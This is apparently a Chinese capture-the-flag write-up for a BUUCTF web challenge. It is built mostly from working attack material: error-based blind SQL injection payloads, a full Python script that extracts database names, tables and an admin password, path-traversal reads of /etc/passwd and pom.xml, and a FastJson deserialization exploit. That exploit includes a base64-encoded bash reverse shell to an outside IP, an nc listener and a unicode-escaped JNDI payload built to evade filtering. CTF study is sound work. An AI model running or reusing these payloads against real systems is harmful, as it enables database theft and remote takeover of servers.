hint:
- 不会有web手电脑里没IDA吧,不会吧不会吧
- 仔细阅读package.json哦/汪汪
1.1 基于运行时的报错注入
尝试进行SQL注入,有关键字过滤。union、sleep、benchmark、rlike都被过滤了。
猜测为有过滤的字符型注入,尝试使用其他方法进行盲注,或者尝试进行报错注入。优先考虑报错注入。使用name_const方法可以可以导致报错。payload为:
# 正常
' or (1) or '
' or if(0, pow(2, 1024), 0) or '
# 报错
' or if(1, pow(2, 1024), 0) or '
这里我普及了一下报错注入,报错注入大致可以分为 2 种。一是基于报错信息回显,二是基于运行时报错(从而实现布尔注入)。整理了一下基于运行时报错的Payload:
# 参考教程:https://xz.aliyun.com/t/4914#toc-4
# 运行时错误:ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)
# 21000、22001、22002、22003
select if(0, pow(2, 1024), 0);
select if(0, cot(0), 0);
# exp函数的参数在大于709的情况下会导致sql语句执行失败
select if(0, exp(710), 0);
select if(0, (select 1 from mysql.user), 0);
select if(0, (cot(0)), 0);
select count(*), floor(rand(0) * 2) x
from mysql.user
group by if(0, x, 0);
#
# 绕过预检查。使用动态解析变量的函数
SELECT IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF(0, ST_MPointFromText('MADS'), 0);
SELECT IF(0, ST_GeomFromText('MADS'), 0);
报错注入的exp:
import requests
# 基本信息
base_url = 'http://1a0a3805-97fa-47cd-b059-951bde2b91d0.node3.buuoj.cn'
def judge(response):
true_info = 'Ha1c9on'
false_info = '500'
# 中文编码
text = response.text
if '\\u' in text:
text = text.encode('latin-1').decode('unicode_escape')
if true_info in text:
return True
elif false_info in text:
return False
else:
print("judge发生错误")
print(response.text)
def execute_sql(sql):
url = f'{base_url}/user/login'
fuzz = range(32, 126)
fuzz = list(map(chr, fuzz))
pos = 0
result = ''
while True:
# pos从1开始递增,直到fuzz字典跑完,退出。
pos += 1
right_c = ''
for c in fuzz:
ascii_c = ord(c)
data = {
'username': 'admin',
'password': f"' or (if(ascii(substr(({sql}),{pos},1))={ascii_c}, 1, (select 1 from mysql.user))) or '",
}
print(data['password'])
params = {}
cookies = {}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'
}
from time import sleep
sleep(0.2)
response = requests.post(url=url,
headers=headers,
params=params,
data=data,
cookies=cookies)
# print(str(response.text).encode('latin-1').decode('unicode_escape'))
if judge(response):
right_c = c
break
result += right_c
print(result)
# 没有找到
if right_c == '':
break
print('result', result)
return result
def exploit():
payloads = [
"SELECT database()",
"SELECT USER()",
"SELECT group_concat(schema_name) from information_schema.schemata",
"SELECT group_concat(table_name) from information_schema.tables where table_schema=database()",
"SELECT group_concat(column_name) from information_schema.columns where table_name='user'",
"SELECT password from `user` where username='admin'",
]
# for payload in payloads:
# sql = payload
while True:
sql = input('sql:')
print('payload:', sql)
execute_sql(sql)
print('----------------------')
if __name__ == '__main__':
exploit()
BUUCTF中对请求速度做了限制,所以在请求前加了 sleep。通过 exp 查到下面的信息:
- database:ctf
- tables:user
- user表的字段:
id,username,password,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shut(没读完,太多了) - admin的密码:no_0ne_kn0w_th1s
登录admin账号,然后发现网站存在本地任意文件读取,尝试读取本地配置文件。
- …/…/…/…/…/…/…/…/…/…/…/…/etc/passwd
- maven配置文件:…/…/…/…/…/pom.xml
在pom.xml中发现该网站使用了fastjson库,版本是1.2.27。在创建角色时,发送的信息为 json。
1.2 FastJson反序列化
使用 JNDI-Injection-Exploit 搭建ldap服务。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS43NC4xMjMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "121.5.74.123"
-C 代表执行命令,而后面的命令是 java.lang.Runtime.exec 执行的代码,和常见的命令不太相同,可以采用 java.lang.Runtime.exec() Payload Workarounds - @Jackson_T 将命令
bash -i >& /dev/tcp/121.5.74.123/9999 0>&1
转换成bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS43NC4xMjMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
。
在服务器执行 nc -lvnp 9999
接收 shell。
Burp 发送Payload:(记得替换ldap的地址)
roleJson={"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.5.74.123:1389/yhqxxx","autoCommit":true}}
发现被检测出出来,使用 unicode 编码绕过:
{"e":{"\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073","\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"},"\u006E\u0061\u006D\u0065":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065":"ldap://121.5.74.123:1389/a82emq","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true}}
最后可以在根目录找到 flag 文件。
参考教程: